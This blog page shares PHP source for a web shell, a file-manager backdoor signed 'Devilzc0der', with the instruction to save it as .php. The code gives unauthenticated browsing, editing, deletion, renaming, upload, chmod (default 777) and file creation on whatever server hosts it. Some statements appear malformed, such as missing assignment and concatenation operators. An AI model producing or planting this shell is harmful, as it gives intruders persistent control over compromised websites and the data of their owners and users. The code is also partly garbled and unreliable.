$araddresss=explode($slash,getcwd());$matharrayy=count($araddresss)-1;$addr1backk=str_replace($araddresss[$matharrayy],"",$araddresss);
for(
$countback=0;$countback<count($addr1backk);$countback++){$arraybacke[$countback]=$slash.$addr1backk[$countback];$backdirunixx=$backdirunixx.$slash.$addr1backk[$countback];
}
if (
$slash=="\\"){$countback=null;$backdirwin=null;
for(
$countback=1;$countback<count($addr1backk);$countback++){$backdirwin=$backdirwin."\\".$addr1backk[$countback];}$backdirwin=$addr1backk[0].$backdirwin;$backaddresss=$backdirwin;
}else{
$countback=null;$backdirwin=null;
for(
$countback=1;$countback<count($addr1backk);$countback++){$backdirwin=$backdirwin."/".$addr1backk[$countback];}$backdirwin=$addr1backk[0].$backdirwin;$backaddresss=$backdirwin;var_dump($backaddresss);$backaddresss=str_replace("\\","/",$backaddresss);
}
function 
calc_dir_size($path)
{
$size 0;
if (
$handle opendir($path))
{
while (
false !== ($entry readdir($handle)))
{
$current_path $path '/' $entry;
if (
$entry != '.' && $entry != '..' && !is_link($current_path))
{
if (
is_file($current_path))$size += filesize($current_path);
elseif (
is_dir($current_path))$size calc_dir_size($current_path);
}
}
}
closedir($handle);
return 
$size;
}
if (
$_GET['address']){$ifget=$_GET['address'];}if($_POST['address']){$ifget=$_POST['address'];}
if(
$cwd==''){$cwd=getcwd();}$nowaddress='<input type=hidden name=address value="'.$cwd.'">';$ad=getcwd();$hand=opendir("$ad");
while (
false !== ($fileee readdir($hand))) {
        if (
$fileee != "." && $fileee != "..") {
        if (
filetype($fileee)=="dir"){$fil=$fil.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address='
.$cwd.$slash.'&filename=dir&filew='.$fileee.'">'.$fileee.'</span></td>
<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'
.date("y/m/d"filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=chmod&address='.$cwd.$slash.'&filename='.$fileee.'">'.substr(sprintf('%o'fileperms($cwd.$slash."$fileee")), -3).'</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td>
<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=dir&address='
.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>';}
else{
$file=$file.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address='
.$cwd.$slash.'&filename='.$fileee.'">'.$fileee.'</span></td>
<td valign="top" height="19" width="80"><font face="Tahoma" style="font-size: 9pt">'
.sizee(filesize($fileee)).'</td><td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt">'.date("y/m/d"filectime($fileee)).'</td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=chmod&address='.$cwd.$slash.'&filename='.$fileee.'">'.substr(sprintf('%o'fileperms($cwd.$slash."$fileee")), -3).'</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=edit&address='.$cwd.$slash.'&filename='.$fileee.'">Edit</a></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=rename&address='.$cwd.$slash.'&filename='.$fileee.'">Ren</a></td>
<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"><a href="?do=delete&type=file&address='
.$cwd.$slash.'&filename='.$fileee.'">Del</a></td></tr></table>';}
}
}
echo 
$head.'
<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#080000>Now Directory : '
.$backaddresss.'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td>
</tr></table>'
.$fil.$file.'</table>
<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr>
<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
<font face="Tahoma" style="font-size: 10pt; font-weight:700">'
.$formg.'Change Directory</font></td>
<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='
.getcwd().'><input type=submit value="Go"></form></td></tr><tr>
<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---> &nbsp;</td>
<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
<form action="'
.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.'
<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee >
<input type=submit value=Upload /><br>'
.$ifupload.'</form></td></tr><tr>
<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
<font face="Tahoma" style="font-size: 10pt"><b>'
.$formp.'Chmod ----></b>&nbsp;&nbsp;File : </td>
<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>&nbsp;&nbsp;Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>
<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
<font face="Tahoma" style="font-size: 10pt"><b>'
.$formp.'Create Dir ----></b> Dirctory Name </td>
<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
<font face="Tahoma" style="font-size: 10pt">
<input name=cdirname size=20>'
.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-t                                                                                                         op-width: 1px; border-bottom: 1px solid #808080">
<font face="Tahoma" style="font-size: 10pt">'
.$formp.'<b>Create File ----></b> Name File </td>
<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'
.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr>
<td width="200" align="right" valign="top">
<font face="Tahoma" style="font-size: 10pt">'
.$formp.'<b>Copy ----></b></b>&nbsp;&nbsp;File : </td>
<td width="750"><font face="Tahoma" style="font-size: 10pt">
<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td></tr></table>
<hr></td></tr></tbody></table></div></td></tr><tr><td bgcolor="#c6c6c6">
<p style="margin-top: 0pt; margin-bottom: 0pt" align="center">
<span lang="en-us"><font face="Tahoma" size="1">By Devilzc0der<br><a href="http://facebook.com/index.ao" target="_blank"><font size=1>Devilzc0der</a></font></span></td></tr></tbody></table></div></body></html>'
;


Save As .php Thx

Written by

We are Creative Blogger Theme Wavers which provides user friendly, effective and easy to use themes. Each support has free and providing HD support screen casting.

 

© 2013 I'Learning. All rights resevered. Designed by Templateism

Back To Top